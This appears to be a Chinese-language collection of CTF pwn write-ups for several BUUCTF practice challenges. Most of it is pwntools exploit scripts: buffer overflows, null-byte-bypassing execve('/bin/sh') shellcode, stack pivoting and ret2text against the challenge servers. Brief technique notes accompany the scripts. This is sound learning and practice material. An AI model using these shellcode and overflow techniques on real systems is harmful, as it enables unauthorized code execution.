题目:
护网杯_2018_gettingstart:(浮点数内存表示)
参考师傅:护网杯_2018_gettingstart(浮点数内存表示) · 语雀 (yuque.com)
主要就是double怎么转化到计算机里存储的
一个在线计算网站:
Double (IEEE754 Double precision 64-bit) Converter (binaryconvert.com)
from pwn import *
r = remote('node4.buuoj.cn',29374 )
r.sendline('a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A))
r.interactive()
starctf_2019_babyshell:(有限制的shellcode)
参考师傅: BUUCTF-pwn]——starctf_2019_babyshell_Y_peak的博客-CSDN博客_starctf_2019_babyshell
能绕过循环检查\x00
\x00B后面加上一个字符, 对应一个汇编语句
\x00J\x00也行
from pwn import *
r = remote('node4.buuoj.cn',25763 )
context.arch='amd64'
sc=asm('''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
''')
r.send('\x00bb'+sc)
r.interactive()
picoctf_2018_buffer overflow 0:
ssh-p 27306 CTFMan@node4.buuoj.cn
连入ssh,输入密码guest
这里的函数signal(11, sigsegv_handler);
如果是无效的内存引用就执行sigsegv_handler函数,
里面是fprintf(stderr, “%s\n”, flag)
以字符串的形式发送flag到stderr流当中
stderr:【unix】标准输出(设备)文件,对应终端的屏幕。进程将从标准输入文件中得到输入数据,将正常输出数据输出到标准输出文件,而将错误信息送到标准错误文件中。在C中,程序执行时,一直处于开启状态。
Linux常用系统函数 - tigerloveapple - 博客园 (cnblogs.com):
getegid()用来取得执行目前进程有效组识别码. 有效的组识别码用来决定进程执行时组的权限.
返回值:返回有效的组识别码.
getresgid() 分别获取真实的,有效的和保存过的组标识号
这题我们
./vuln argv[1]
./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
多输几个a,溢出了就会输出flag
参考师傅:picoctf_2018_buffer overflow 0(7/100) - 简书 (jianshu.com)
[BSidesCF 2019]Runit:(shellcode)
from pwn import *
#from LibcSearcher import *
local_file = './runit'
local_libc = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',28642 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#----------------------------
context.arch='i386'
sc=asm(shellcraft.sh())
sl(sc)
r.interactive()
wdb_2018_3rd_soEasy:(栈迁移)
from pwn import *
#from LibcSearcher import *
local_file = './wdb_2018_3rd_soEasy'
local_libc = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',29461 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#----------------------------
leave_ret=0x08048478
context.arch='i386'
ru('Hei,give you a gift->0x')
context.arch='i386'
sc=asm(shellcraft.sh())
stack=int(rc(8),16)
print hex(stack)
sl('aaaa'+sc.ljust(0x48,'\x00')+p32(stack)+p32(leave_ret))
r.interactive()
suctf_2018_stack:(栈平衡)
Ubuntu18要检查栈平衡
ret2text涉及到的堆栈平衡问题_一路开花●-●的博客-CSDN博客
from LibcSearcher import *
local_file = './SUCTF_2018_stack'
local_libc = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',25323 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#---------------------------------------------
backdoor=0x400676
sl('a'*0x20+'b'*8+p64(backdoor+1))
#sl('a'*0x20+'b'*8+p64(backdoor+2))
r.interactive()
实际操作的话加个ret就行,如果有限制,无脑的做法加减几个数试试